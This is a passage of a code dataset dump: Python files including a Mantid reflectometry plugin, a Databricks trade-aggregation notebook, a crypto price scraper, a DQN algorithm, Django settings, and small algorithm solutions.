runs we know will be processed later.\n read_sequence_from_file = self.getProperty(\"ReadSequenceFromFile\").value\n if read_sequence_from_file:\n return self._read_property(meta_data_run, \"sequence_total\", [default])\n else:\n return default\n\n def PyExec(self):\n filename = self.getProperty(\"Filename\").value\n slit_tolerance = self.getProperty(\"SlitTolerance\").value\n\n # Determine where we are in the scan\n run_number, first_run_of_set, sequence_number, do_reduction, is_direct_beam = self._get_series_info(filename)\n logger.information(\"Run %s - Sequence %s [%s/%s]\" % (run_number, first_run_of_set,\n sequence_number,\n self._get_sequence_total(default=-1)))\n\n # If we have a direct beam, compute the scaling factors\n if is_direct_beam:\n sequence_total = self._get_sequence_total(default=10)\n if sequence_number < sequence_total:\n logger.notice(\"Waiting for at least %s runs to compute scaling factors\" % sequence_total)\n return\n logger.notice(\"Using automated scaling factor calculator\")\n output_dir = self.getProperty(\"OutputDirectory\").value\n sf_tof_step = self.getProperty(\"ScalingFactorTOFStep\").value\n\n # The medium for these direct beam runs may not be what was set in the template,\n # so either use the medium in the data file or a default name\n meta_data_run = self.event_data.getRun()\n _incident_medium = self.getProperty(\"IncidentMedium\").value\n incident_medium = self._read_property(meta_data_run, \"incident_medium\",\n _incident_medium, is_string=True)\n file_id = incident_medium.replace(\"medium\", \"\")\n LRDirectBeamSort(RunList=list(range(first_run_of_set, first_run_of_set + sequence_number)),\n UseLowResCut=True, ComputeScalingFactors=True, TOFSteps=sf_tof_step,\n IncidentMedium=incident_medium,\n SlitTolerance=slit_tolerance,\n ScalingFactorFile=os.path.join(output_dir, \"sf_%s_%s_auto.cfg\" % (first_run_of_set, file_id)))\n return\n elif not do_reduction:\n logger.notice(\"The data is of a type that does not have to be reduced\")\n return\n\n # Get the reduction parameters for this run\n data_set, incident_medium = self._get_template(run_number, first_run_of_set, sequence_number)\n\n # Write template before we start the computation\n self._write_template(data_set, run_number, first_run_of_set, sequence_number)\n\n # Execute the reduction\n LiquidsReflectometryReduction(RunNumbers=[int(run_number)],\n NormalizationRunNumber=str(data_set.norm_file),\n SignalPeakPixelRange=data_set.DataPeakPixels,\n SubtractSignalBackground=data_set.DataBackgroundFlag,\n SignalBackgroundPixelRange=data_set.DataBackgroundRoi[:2],\n NormFlag=data_set.NormFlag,\n NormPeakPixelRange=data_set.NormPeakPixels,\n NormBackgroundPixelRange=data_set.NormBackgroundRoi,\n SubtractNormBackground=data_set.NormBackgroundFlag,\n LowResDataAxisPixelRangeFlag=data_set.data_x_range_flag,\n LowResDataAxisPixelRange=data_set.data_x_range,\n LowResNormAxisPixelRangeFlag=data_set.norm_x_range_flag,\n LowResNormAxisPixelRange=data_set.norm_x_range,\n TOFRange=data_set.DataTofRange,\n IncidentMediumSelected=incident_medium,\n GeometryCorrectionFlag=False,\n QMin=data_set.q_min,\n QStep=data_set.q_step,\n AngleOffset=data_set.angle_offset,\n AngleOffsetError=data_set.angle_offset_error,\n ScalingFactorFile=str(data_set.scaling_factor_file),\n SlitsWidthFlag=data_set.slits_width_flag,\n ApplyPrimaryFraction=True,\n SlitTolerance=slit_tolerance,\n PrimaryFractionRange=[data_set.clocking_from, data_set.clocking_to],\n OutputWorkspace='reflectivity_%s_%s_%s' % (first_run_of_set, sequence_number, run_number))\n\n # Put the reflectivity curve together\n self._save_partial_output(data_set, first_run_of_set, sequence_number, run_number)\n\n\nAlgorithmFactory.subscribe(LRAutoReduction)\n","sub_path":"Framework/PythonInterface/plugins/algorithms/LRAutoReduction.py","file_name":"LRAutoReduction.py","file_ext":"py","file_size_in_byte":32529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"122502296","text":"# Databricks notebook source\n# %run \"/Users/s-long.bao@rakuten.com/Projects/001_Margin_Trading_Client_Scoring/utils\" \n\n# COMMAND ----------\n\nimport os\nimport sys\nimport datetime\nimport pandas as pd\n\n# COMMAND ----------\n\ndef query_exec(query):\n \"\"\"read data into spark dataframe\n \"\"\"\n df = spark.read\\\n .format(\"com.databricks.spark.sqldw\")\\\n .option(\"url\", conn)\\\n .option(\"tempDir\", container + \"/tempDir\")\\\n .option(\"forwardSparkAzureStorageCredentials\", \"true\")\\\n .option(\"query\", query)\\\n .load()\n \n # convert to pandas dataframe\n # df = spark_to_pandas(df)\n return df\n\n# COMMAND ----------\n\ndef spark_to_pandas(df):\n df = df.toPandas()\n cols = df.columns.tolist()\n cols.remove(\"uid\")\n df[cols] = df[cols].astype(float)\n return df\n\n# COMMAND ----------\n\ndef trade_agg_aux(table, date_start, date_end, date_col, cols_cont, cols_catg, where='1=1'):\n \"\"\"Aggregate trades in a table over a time period, creating statistics for continuous and/or categorical columns.\n \"\"\"\n # create unique_count and div of features\n q_catg_stats = ', '.join([\n ', '.join([\n 'COUNT(DISTINCT {0}) as nuq_{1}'.format(col, name),\n 'EXP(-SUM(pdf_{0} * LOG(pdf_{0} + 1e-10))) as div_{0}'.format(name)\n ]) for col, name in cols_catg])\n # create pdf of features\n q_catg_pdf = ','.join(\n ['cdf_{1} - LAG(cdf_{1}, 1, 0) OVER (PARTITION BY BRANCH_CD, M_CD ORDER BY {0}) AS pdf_{1}'.format(col, name)\n for col, name in cols_catg])\n # create cdf of features\n q_catg_cdf = ','.join(\n ['CUME_DIST() OVER (PARTITION BY B.BRANCH_CD, B.M_CD ORDER BY {0}) AS cdf_{1}'.format(col, name)\n for col, name in cols_cont + cols_catg])\n # create common statistics of features\n q_cont_stats = ','.join([\n ','.join([ \n 'MIN({0}) as min_{1}'.format(col, name),\n 'MAX({0}) as max_{1}'.format(col, name),\n 'AVG({0}) as avg_{1}'.format(col, name),\n 'MIN(CASE WHEN cdf_{1} < 0.5 THEN NULL ELSE {0} END) as med_{1}'.format(col, name),\n 'ISNULL(STDEV({0}), 0) as std_{1}'.format(col, name),\n 'SUM({0}) as sum_{1}'.format(col, name)\n ]) for col, name in cols_cont])\n # create sql\n q = \"\"\"\n SELECT CONVERT(VARCHAR, BRANCH_CD) + ':' + CONVERT(VARCHAR(64), M_CD) AS uid,\n COUNT(*) AS nb_trades,\n {}, {}\n FROM (\n SELECT *, {}\n FROM (\n SELECT A.*,B.M_CD,{}\n FROM {} A\n LEFT JOIN [rssvmkdb].[CLIENT_CD_LIST] B\n ON A.CLIENT_CD = B.CLIENT_CD\n WHERE {} BETWEEN '{}' AND '{}' AND {}) t) t\n GROUP BY BRANCH_CD, M_CD\n \"\"\".format(q_cont_stats, q_catg_stats, q_catg_pdf, q_catg_cdf, table, date_col, date_start, date_end, where)\n \n # read data into spark dataframe\n df = query_exec(q)\n return df\n\n# COMMAND ----------\n\ndef trade_agg(yyyymm_start, yyyymm_end, sampling_ratio, sampling_seed):\n \"\"\"Aggregate FOP and JP EQ cash/margin trades over a time period.\"\"\"\n assert yyyymm_end >= yyyymm_start >= YYYYMM_START\n date_start = get_month_start(yyyymm_start)\n date_end = get_month_end(yyyymm_end)\n print('Aggregating trades between', date_start, 'and', date_end, 'with sampling ratio', sampling_ratio)\n sampling = ' ' if sampling_ratio == 1 else ' TABLESAMPLE ({} PERCENT) REPEATABLE ({})'.format(sampling_ratio * 100, sampling_seed)\n\n # FOP trades\n date_col = 'TRADE_DT'\n table = 'common.FOP_TRADE' + sampling\n cols_catg = [('MKT_CD', 'market'), ('TRD_TYP_CD', 'buysell'), ('DSCR_CD', 'ticker'), ('SEC_TYP_KBN', 'kind'), ('NOMINAL', 'nominal'), ('TRADE_DT', 'date')]\n cols_cont = [('AMOUNT', 'amount'), ('REALISED_PL', 'realised_pnl')]\n fop_df = trade_agg_aux(table, date_start, date_end, date_col, cols_cont, cols_catg)\n\n # cash / margin JP EQ trades\n date_col = 'TRADE_DT'\n# year_range = date_end.year - date_start.year\n# assert 0 <= year_range <= 1\n# current_year = int(pd.read_sql(\"SELECT TOP 1 TRADE_DT FROM ORD_EXEC_DATA\", db)[date_col][0][:4])\n# get_table = lambda year: ('ORD_EXEC_DATA' if year >= current_year else 'Z_ORD_EXEC_DATA_HIST_{}'.format(year)) + sampling\n# table_start = get_table(date_start.year)\n# if year_range:\n# table_end = get_table(date_end.year)\n# table = \"\"\"\n# (SELECT * FROM {}\n# UNION ALL\n# SELECT * FROM {}) t\n# \"\"\".format(table_start, table_end)\n# else:\n# table = table_start\n table = 'common.ORD_EXEC_DATA_HIST'\n get_where = lambda margin: 'ORD_SUB_NO = 1 AND EXEC_AMOUNT > 0 AND ISNULL(SONAR_TRD_CD, 0) {} BETWEEN 51 AND 53'.format('' if margin else 'NOT')\n where_cash = get_where(False)\n where_margin = get_where(True)\n cols_catg = [('MKT_CD', 'market'), ('TRD_TYP_CD', 'buysell'), ('DSCR_CD', 'ticker'), ('SONAR_TRD_CD', 'kind'), ('NOMINAL', 'nominal'), ('INPUT_ROUTE', 'route'), ('ORD_KBN', 'islimit'), ('TRADE_DT', 'date')]\n cols_cont = [('EXEC_AMOUNT', 'amount')]\n cash_df = trade_agg_aux(table, date_start, date_end, date_col, cols_cont, cols_catg, where_cash)\n margin_df = trade_agg_aux(table, date_start, date_end, date_col, cols_cont, cols_catg, where_margin)\n\n return fop_df, cash_df, margin_df\n\n# COMMAND ----------\n\ndef ensure_trade_agg(root_path, nb_months, sampling_ratio=1, sampling_seed=1):\n \"\"\"Check if trade aggregation files exist for all possible periods and create if needed.\"\"\"\n sampling = 'full' if sampling_ratio == 1 else 'sampled_{}_{}'.format(sampling_ratio, sampling_seed)\n yyyymm_end = get_prev_month(get_month(datetime.date.today()))\n yyyymm_start = yyyymm_end\n for _ in range(nb_months - 1):\n yyyymm_start = get_prev_month(yyyymm_start)\n while yyyymm_start >= YYYYMM_START:\n make_path = lambda kind: os.path.join(root_path, 'trade_agg_{}_{}months_{}_{}.csv'.format(sampling, nb_months, yyyymm_end, kind))\n fop_path = make_path('fop')\n cash_path = make_path('cash')\n margin_path = make_path('margin')\n if all(map(os.path.exists, (fop_path, cash_path, margin_path))):\n print('Skipping', yyyymm_start, yyyymm_end)\n else:\n fop_df, cash_df, margin_df = trade_agg(yyyymm_start, yyyymm_end, sampling_ratio, sampling_seed)\n #fop_df.to_csv(fop_path, index=False)\n #cash_df.to_csv(cash_path, index=False)\n #margin_df.to_csv(margin_path, index=False)\n fop_df.coalesce(1).write.format(\"com.databricks.spark.csv\").mode('overwrite').option(\"header\", \"true\").option(\"nullValue\",None).save(local_to_dbfs(fop_path))\n cash_df.coalesce(1).write.format(\"com.databricks.spark.csv\").mode('overwrite').option(\"header\", \"true\").option(\"nullValue\",None).save(local_to_dbfs(cash_path))\n margin_df.coalesce(1).write.format(\"com.databricks.spark.csv\").mode('overwrite').option(\"header\", \"true\").option(\"nullValue\",None).save(local_to_dbfs(margin_path))\n yyyymm_start = get_prev_month(yyyymm_start)\n yyyymm_end = get_prev_month(yyyymm_end)\n\n# COMMAND ----------\n\nroot_path = \"/dbfs/mnt/blobstorage/margin_trading_client_scoring/trade_agg\"\nnb_months = 6\nratio = 1\n\n# COMMAND ----------\n\nensure_trade_agg(root_path, nb_months, sampling_ratio=ratio)\n","sub_path":"DataScienceProject/9.Credit_Scoring/src/Azure/trade_agg.py","file_name":"trade_agg.py","file_ext":"py","file_size_in_byte":7270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"329079270","text":"# -*- coding: utf-8 -*- #\n# Copyright 2020 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Base class for gcloud artifacts tests.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom apitools.base.py.testing import mock\n\nfrom googlecloudsdk.api_lib import artifacts\nfrom googlecloudsdk.api_lib.util import apis as core_apis\nfrom tests.lib import cli_test_base\nfrom tests.lib import sdk_test_base\n\nAPI_NAME = 'artifactregistry'\n\n\nclass ARTestBase(sdk_test_base.WithLogCapture, sdk_test_base.WithFakeAuth,\n cli_test_base.CliTestBase):\n \"\"\"A base class for artifacts tests that need to use a mocked AR client.\"\"\"\n\n def SetUp(self):\n self.api_version = artifacts.API_VERSION_FOR_TRACK[self.track]\n self.client = mock.Client(\n core_apis.GetClientClass(API_NAME, self.api_version),\n real_client=core_apis.GetClientInstance(API_NAME, self.api_version))\n self.client.Mock()\n self.messages = core_apis.GetMessagesModule(API_NAME, self.api_version)\n self.addCleanup(self.client.Unmock)\n\n def SetListLocationsExpect(self, location):\n self.client.projects_locations.List.Expect(\n self.messages.ArtifactregistryProjectsLocationsListRequest(\n name='projects/fake-project'),\n self.messages.ListLocationsResponse(locations=[\n self.messages.Location(\n name='projects/fake-project/locations/' + location,\n locationId=location)\n ]))\n\n def SetGetRepositoryExpect(self, location, repo, repo_format):\n repo_name = 'projects/fake-project/locations/{}/repositories/{}'.format(\n location, repo)\n self.client.projects_locations_repositories.Get.Expect(\n self.messages.ArtifactregistryProjectsLocationsRepositoriesGetRequest(\n name=repo_name),\n self.messages.Repository(name=repo_name, format=repo_format))\n","sub_path":"google-cloud-sdk/lib/tests/lib/surface/artifacts/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"485887399","text":"import re\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen, Request\nimport pickle\nimport json\nimport pprint\nimport csv\n\nurl = Request(\"https://coinmarketcap.com/all/views/all/\")\n\nclass Cryptodata:\n\n cryptoArray = []\n\n try:\n content = urlopen(url)\n except HTTPError as e:\n print('The server couldn\\'t fulfill the request.')\n print('Error code: ', e.code)\n except URLError as e:\n print('We failed to reach a server.')\n print('Reason: ', e.reason)\n\n content = content.read()\n\n def __init__(self,):\n #content = content.read()\n self.soup = BeautifulSoup(self.content,\"lxml\")\n\n def get_crypto_data(self, number_crypto):\n currency_name = self.soup.find_all(\"a\", class_=\"currency-name-container\")\n currency_symbol = self.soup.find_all(\"td\", class_=\"text-left col-symbol\")\n currency_price = self.soup.find_all(\"a\", class_=\"price\")\n currency_marketcap = self.soup.find_all(\"td\", class_=\"no-wrap market-cap text-right\")\n currency_volume = self.soup.find_all(\"a\", class_=\"volume\")\n tag_hourchange = re.compile(\"no-wrap percent-1h\")\n tag_daychange = re.compile(\"no-wrap percent-24h\")\n tag_weekchange = re.compile(\"no-wrap percent-7d\")\n currency_hourchange = self.soup.find_all(\"td\", class_=tag_hourchange)\n currency_daychange = self.soup.find_all(\"td\", class_=tag_daychange)\n currency_weekchange = self.soup.find_all(\"td\", class_=tag_weekchange)\n\n\n #Checking if for the number of crypto asked, all the fields are provided and not ?\n #Some low market cap crypto do not have currency_hourchange or currency_weekchange\n print('Currency hour length: {} Currency name length: {} Currency market length: {} \\n'\\\n .format(len(currency_hourchange), len(currency_name), len(currency_marketcap)))\n\n if len(currency_name) == len(currency_marketcap):\n for (i, name) in enumerate(currency_name[0:number_crypto]):\n self.cryptoArray.append({'name':name.get_text(),\n 'symbol':currency_symbol[i].get_text(),\n 'currency_price':currency_price[i].get_text(),\n 'currency_volume':currency_volume[i].get_text(),\n 'currency_marketcap':currency_marketcap[i].get_text().strip('\\n').strip(' ')[:-1],\n 'currency_volume':currency_volume[i].get_text(),\n 'currency_hourchange':currency_hourchange[i].get_text(),\n 'currency_daychange':currency_daychange[i].get_text(),\n 'currency_weekchange':currency_weekchange[i].get_text()})\n else:\n print(\"Some currency did not have some data field, decrease the length asked\")\n\n def print_data(self):\n pprint.pprint(self.cryptoArray)\n\n\nif __name__ == \"__main__\":\n hipso = Cryptodata()\n #Trial with 10\n hipso.get_crypto_data(10)\n hipso.print_data()\n\n\"\"\"\n ---Things to do---\n\n 1. Database support// Should look into Timescale DB // Better for large times series\n --A. Storage // Database\n --B. Continous storage // While loop with time sleep or cron type like function to store the data\n\n 2. Adding Stat functions (Corr, SD, ...) --This could just be integrated in a jupyter notebook or django app\n 3. Plotting function matplotlib --Same here\n 4. Rationalization with Django App --\n 5. Divide in 2 function get_crypto_data\n\n\n\"\"\"\n","sub_path":"crypto_web_scrap.py","file_name":"crypto_web_scrap.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"189003935","text":"# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\"\"\"dqn algorithm with prioritized replay\"\"\"\nfrom __future__ import division, print_function\n\nimport os\n\nimport numpy as np\n\nfrom xt.algorithm.dqn.default_config import BATCH_SIZE, BUFFER_SIZE, GAMMA, TARGET_UPDATE_FREQ\nfrom xt.algorithm.dqn.dqn import DQN\nfrom xt.algorithm.prioritized_replay_buffer import PrioritizedReplayBuffer\nfrom xt.framework.register import Registers\n\nos.environ[\"KERAS_BACKEND\"] = \"tensorflow\"\n\n\n@Registers.algorithm.register\nclass DQNPri(DQN):\n \"\"\"DQN with prioritized replay buffer.\"\"\"\n def __init__(self, model_info, alg_config, **kwargs):\n super(DQNPri, self).__init__(model_info, alg_config, **kwargs)\n self.buff = PrioritizedReplayBuffer(BUFFER_SIZE, alpha=0.6)\n\n def train(self, **kwargs):\n self.train_count += 1\n\n batch = self.buff.sample(BATCH_SIZE, 0.4)\n train_dict = dict()\n (train_dict['states'], train_dict['actions'], train_dict['rewards'],\n train_dict['new_states'], train_dict['dones'], train_dict['weights'],\n train_dict['batch_idxes']) = batch\n\n train_dict['y_t'] = self.actor.predict(train_dict['states'])\n train_dict['target_q_values'] = self.target_actor.predict(train_dict['new_states'])\n predict = self.target_actor.predict(train_dict['states'])\n maxq = np.max(train_dict['target_q_values'], 1)\n td_errors = []\n\n for k in range(len(train_dict['states'])):\n if train_dict['dones'][k]:\n q_value = train_dict['rewards'][k]\n else:\n q_value = train_dict['rewards'][k] + GAMMA * maxq[k]\n train_dict['y_t'][k][train_dict['actions'][k]] = q_value\n td_error = train_dict['y_t'][k][train_dict['actions'][k]] - \\\n predict[k][train_dict['actions'][k]]\n td_errors.append(td_error)\n\n loss = self.actor.train(train_dict['states'], train_dict['y_t'])\n new_priorities = np.abs(td_errors) + 1e-6\n self.buff.update_priorities(train_dict['batch_idxes'], new_priorities)\n\n if self.train_count % TARGET_UPDATE_FREQ == 0:\n self.update_target()\n\n return loss\n\n def prepare_data(self, train_data, **kwargs):\n \"\"\"\n prepare the train data for dqn,\n here, just add once new data into replay buffer.\n :param train_data:\n :return:\n \"\"\"\n buff = self.buff\n data_len = len(train_data[\"done\"])\n for index in range(data_len):\n buff.add(train_data[\"cur_state\"][index], train_data[\"action\"][index],\n train_data[\"reward\"][index], train_data[\"next_state\"][index],\n train_data[\"done\"][index]) # Add replay buffer\n","sub_path":"built-in/TensorFlow/Research/reinforcement-learning/DDPG_for_TensorFlow/rl/xt/algorithm/dqn/dqn_pri.py","file_name":"dqn_pri.py","file_ext":"py","file_size_in_byte":3831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"605072106","text":"import os.path\n\nfrom .base import *\n\nADMINS = (\n ('MySite Tech', 'mysite_tech@example.com'),\n)\n\nMEDIA_URL = 'http://cdn.example.com/media/'\nSTATIC_URL = 'http://cdn.example.com/static/'\n\nMEDIA_ROOT = os.path.join(PROJECT_ROOT, 'media')\nSTATIC_ROOT = os.path.join(PROJECT_ROOT, 'static')\n\nCONF_ROOT = os.path.join(PROJECT_ROOT, 'conf')\n\nDATABASES = {\n 'mysql': {\n 'ENGINE': 'django.db.backends.mysql',\n 'OPTIONS': {\n 'read_default_file': os.path.join(CONF_ROOT, 'mysql.cnf'),\n },\n },\n 'postgresql': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'db_name',\n 'USER': 'db_user', # Match against ~/.pgpass for the rest\n },\n}\n\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',\n 'LOCATION': '127.0.0.1:11211',\n },\n}\n\n# You can generate this file with scripts/generate-secret-key.py\nSECRET_KEY = open(os.path.join(CONF_ROOT, 'site-secret-key')).read().strip()\n# or\n# SECRET_KEY = os.environ[\"SITE_SECRET_KEY\"]\n\nALLOWED_HOSTS = [\n '.example.com', # Allow domain and subdomains\n '.example.com.', # Also allow FQDN and subdomains\n]\n\n# A sample logging configuration. The only tangible logging\n# performed by this configuration is to send an email to\n# the site admins on every HTTP 500 error when DEBUG=False.\n# See http://docs.djangoproject.com/en/dev/topics/logging for\n# more details on how to customize your logging configuration.\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n }\n },\n 'handlers': {\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': True,\n },\n }\n}\n","sub_path":"project_template/project_name/settings/production-example.py","file_name":"production-example.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"181497119","text":"from autoscale.request import Request\n\nclass Service:\n # [name, size, request_set]\n services = [\n [\"service A\", 0.05, set([Request(0), Request(1)])],\n [\"service B\", 0.15, set([Request(2)])],\n [\"service C\", 0.35, set([Request(3)])],\n ]\n\n def __init__(self, sid: int = 0):\n \"\"\"\n Create a service of the type corresponding to the given id\n \"\"\"\n self.name = Service.services[sid][0]\n self.size = Service.services[sid][1]\n self.request_set = Service.services[sid][2]\n\n def __eq__(self, other: any):\n \"\"\"\n Override the default equality to consider only the service's name.\n \"\"\"\n if isinstance(other, Service):\n return other.name == self.name\n else:\n return False\n\n def __hash__(self):\n \"\"\"\n Create a hash function over the service's name.\n \"\"\"\n return self.name.__hash__()\n\n def __repr__(self):\n return \"\".format(\n self.name, self.size, self.request_set\n )\n","sub_path":"autoscale/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"47262796","text":"################################################################\n# Author : yiorgosynkl (find me in Github: https://github.com/yiorgosynkl)\n# Date created : 20201102\n# Problem link : https://leetcode.com/problems/insertion-sort-list/\n################################################################\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n def insertionSortList(self, head: ListNode) -> ListNode:\n head2 = ListNode(0) # pointer to new lists head\n node, next_node = head, head\n while node:\n next_node = node.next # node = ListNode(head.val)\n tmp = head2\n while tmp.next and tmp.next.val < node.val: \n tmp = tmp.next\n tmp.next, node.next = node, tmp.next\n node = next_node\n return head2.next\n\n# # official solution\n# def insertionSortList(self, head: ListNode) -> ListNode:\n# pseudo_head = ListNode()\n\n# curr = head\n# while curr:\n# # At each iteration, we insert an element into the resulting list.\n# prev_node = pseudo_head\n# next_node = prev_node.next\n# # find the position to insert the current node\n# while next_node:\n# if curr.val < next_node.val:\n# break\n# prev_node = next_node\n# next_node = next_node.next\n\n# next_iter = curr.next\n# # insert the current node to the new list\n# curr.next = next_node\n# prev_node.next = curr\n\n# # moving on to the next iteration\n# curr = next_iter\n\n# return pseudo_head.next","sub_path":"30_day_challenge_2020_November/147_insertion_sort_list_day02.py","file_name":"147_insertion_sort_list_day02.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"528677502","text":"## Lesson2_OddOccurrencesInArray\n\n\"\"\"\n给出了由N个整数组成的非空数组A. 该数组包含奇数个元素,并且该数组的每个元素可以与具有相同值的另一个元素配对,除了一个未配对的元素。\n\n例如,在数组A中,这样:\n\n A [0] = 9 A [1] = 3 A [2] = 9\n A [3] = 3 A [4] = 9 A [5] = 7\n A [6] = 9\n索引0和2处的元素值为9,\n索引1和3处的元素值为3,\n索引4和6处的元素值为9,\n索引5处的元素值为7且未配对。\n写一个函数:\n\ndef OddOccurrencesInArray(A):\n\n在给定由满足上述条件的N个整数组成的数组A的情况下,返回未配对元素的值。\n\n例如,给定数组A,使得:\n\n A [0] = 9 A [1] = 3 A [2] = 9\n A [3] = 3 A [4] = 9 A [5] = 7\n A [6] = 9\n该函数应返回7,如上例所示。\n\n为以下假设编写有效的算法:\n\nN是[1..1,000,000]范围内的奇整数;\n数组A的每个元素是[ 1 ... 1,000,000,000 ] 范围内的整数;\nA中除了一个值之外的所有值都出现偶数次。\n\n\"\"\"\n\ndef OddOccurrencesInArray(A):\n\n## 法一:\n # dict = {}\n # if len(A) == 1:\n # return A[0]\n #\n # for i in A:\n # if i in dict:\n # dict[i] = dict[i] + 1\n # else:\n # dict[i] =1\n # for item in dict:\n # if dict[item]%2 == 1:\n # return item\n\n## 法二:\n a = 0\n for i in A:\n a ^= i\n return a\n\nif (__name__ == \"__main__\"):\n A = [9, 3, 9, 3, 9, 7, 9]\n print(OddOccurrencesInArray(A))","sub_path":"Lesson2_Arrays/Lesson2_OddOccurrencesInArray.py","file_name":"Lesson2_OddOccurrencesInArray.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"218007307","text":"from setuptools import setup, Extension\nimport numpy\nimport sys, os\n\nlibs = ['mkl_rt']\n\npathpython=os.path.dirname(sys.executable);\n\ncyanure_wrap = Extension(\n 'cyanure_wrap',\n libraries=libs,\n include_dirs=[numpy.get_include()],\n library_dirs=[pathpython+'\\\\Library\\\\lib'],\n language='c++',\n extra_compile_args=['-DNDEBUG', '-DINT_64BITS', '-DHAVE_MKL', '-DAXPBY', '/permissive-', '/W1'],\n sources=['cyanure_wrap_module.cpp'])\n\nsetup(name='cyanure-mkl',\n version='0.21post4',\n author=\"Julien Mairal\",\n author_email=\"julien.mairal@inria.fr\",\n license='bsd-3-clause',\n url=\"http://julien.mairal.org/cyanure/\",\n description='optimization toolbox for machine learning',\n install_requires=['scipy'],\n ext_modules=[cyanure_wrap],\n py_modules=['cyanure'])\n","sub_path":"setup_cyanure_mkl_windows.py","file_name":"setup_cyanure_mkl_windows.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"644731869","text":"from app import db\n\n\nclass UserModel(db.Model):\n __tablename__ = 'user'\n\n id = db.Column(db.Integer, primary_key=True)\n google_id = db.Column(db.String(20), unique=True)\n email = db.Column(db.String(50), unique=True)\n image_url = db.Column(db.String(10000))\n family_name = db.Column(db.String(50))\n given_name = db.Column(db.String(50))\n items = db.relationship('ItemModel', lazy='dynamic')\n\n def __init__(self, email, google_id, family_name, given_name, image_url):\n self.family_name = family_name\n self.given_name = given_name\n self.email = email\n self.google_id = google_id\n self.image_url = image_url\n self.name = self.given_name + self.family_name\n\n def json(self):\n return {\n 'id': self.id,\n 'name': self.given_name + ' ' + self.family_name,\n 'image_url': self.image_url\n }\n\n @classmethod\n def find_by_email(cls, email):\n return cls.query.filter_by(email=email).first()\n\n @classmethod\n def find_by_id(cls, _id):\n return cls.query.filter_by(id=_id).first()\n\n def save_to_db(self):\n db.session.add(self)\n db.session.commit()\n","sub_path":"app/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"481321422","text":"# Copyright 2020 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nfrom typing import Optional\n\nimport pytest\nfrom pkg_resources import Requirement\n\nfrom pants.backend.python.subsystems.pytest import PyTest\nfrom pants.backend.python.target_types import (\n PythonBinarySources,\n PythonRequirementsField,\n PythonTestsTimeout,\n)\nfrom pants.engine.addresses import Address\nfrom pants.engine.target import InvalidFieldException, InvalidFieldTypeException\nfrom pants.python.python_requirement import PythonRequirement\nfrom pants.testutil.option_util import create_subsystem\n\n\ndef test_timeout_validation() -> None:\n with pytest.raises(InvalidFieldException):\n PythonTestsTimeout(-100, address=Address.parse(\":tests\"))\n with pytest.raises(InvalidFieldException):\n PythonTestsTimeout(0, address=Address.parse(\":tests\"))\n assert PythonTestsTimeout(5, 